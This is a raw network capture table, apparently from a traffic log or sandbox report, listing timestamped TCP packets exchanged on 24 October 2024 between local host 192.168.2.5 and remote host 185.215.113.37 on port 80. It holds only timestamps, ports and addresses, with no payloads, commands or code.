Oct 24, 2024 11:02:27.828942060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.828943014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828963995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.828982115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829024076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829041004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829056978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829077959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829077959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829098940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829102039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829127073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829139948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829144001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829160929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829163074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829184055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829201937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829282045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829332113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829335928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829350948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829365969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829401016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829417944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829440117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829454899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829473019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829488993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829495907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829516888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829518080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829530954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829545975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829562902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829567909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829577923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829586029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829615116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829621077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829637051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829658031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829663038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829679012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829684973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829694033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829704046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829709053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829724073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829725027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829742908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.829745054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.829777002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.872447968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.872474909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.872495890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.872524977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.872572899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.947809935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.947845936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.947865009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.947880983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.947901011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.947917938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.947926998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.947943926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.947959900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.947971106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.947977066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948000908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948015928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948031902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948046923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948071957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948076010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948091984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948097944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948110104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948116064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948124886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948137045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948139906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948153019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948156118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948173046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948183060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948198080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948216915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948223114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948232889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948249102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948263884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948276043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948291063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948302031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948307037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948326111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948331118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948339939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.948359013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.948384047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.950768948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.950830936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.950865030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.950891972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.950913906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.950917959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.950932980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.950936079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.950953960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.950953960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.950972080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.950973034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951005936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951005936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951035976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951051950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951066971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951083899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951095104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951098919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951117039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951126099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951154947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951170921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951210022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951225996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951242924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951251030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951257944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951267004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951273918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951282978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951288939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951299906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951323986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951333046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951334953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951351881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951368093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951391935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951394081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951440096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951467037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951483011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951498032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951514006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951522112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951530933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951543093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951546907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951561928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951575041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951576948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951603889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951606035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951618910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951634884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951637030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951659918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951663971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951680899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951687098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951697111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951713085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951720953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951728106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951744080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951754093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951760054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951781034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951801062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951803923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951819897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951834917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951859951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951860905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951877117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951884985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951894045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951911926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951914072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951926947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951939106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951944113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.951967001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.951991081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.991765022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.991880894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.991895914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.991913080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.991930962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:27.991957903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:27.991976023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067527056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067570925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067598104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067614079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067629099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067631006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067631006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067645073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067677975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067677975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067677975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067691088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067707062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067722082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067728043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067739010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067765951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067765951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067780972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067806959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067823887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067840099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067848921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067856073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067873001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067883015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067883015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067889929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067893982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067915916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067919970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067931890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067936897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067948103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067954063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067965984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.067970037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.067987919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068020105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068056107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068070889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068087101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068108082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068130970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068145037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068146944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068167925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068171024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068183899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068188906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068203926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068205118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068224907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068237066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068243027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068255901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068281889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068291903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068291903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068300009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068314075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068336010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068341017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068356037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068361044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068372965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068388939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068392038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068416119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068416119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068432093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068447113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068449020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068465948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068470955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068480968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068495989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068510056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068511963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068546057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068597078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068634987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068675995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068706989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068716049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068742990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068763971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068778992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068794012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068799019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068813086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068820000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068829060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.068836927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068851948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068886042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.068900108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069017887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069034100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069051027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069065094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069066048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069082022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069089890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069097042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069106102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069133997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069211006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069226980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069251060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069264889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069266081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069282055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069291115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069297075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069312096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069322109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069327116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069349051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069370985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069485903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069502115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069518089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069529057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069554090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069561958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069581032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069597006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069612980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069628954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069633007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069652081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069662094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069694042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069753885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069768906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069786072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:28.069809914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:28.069823027 CEST	80	49704	185.215.113.37	192.168.2.5
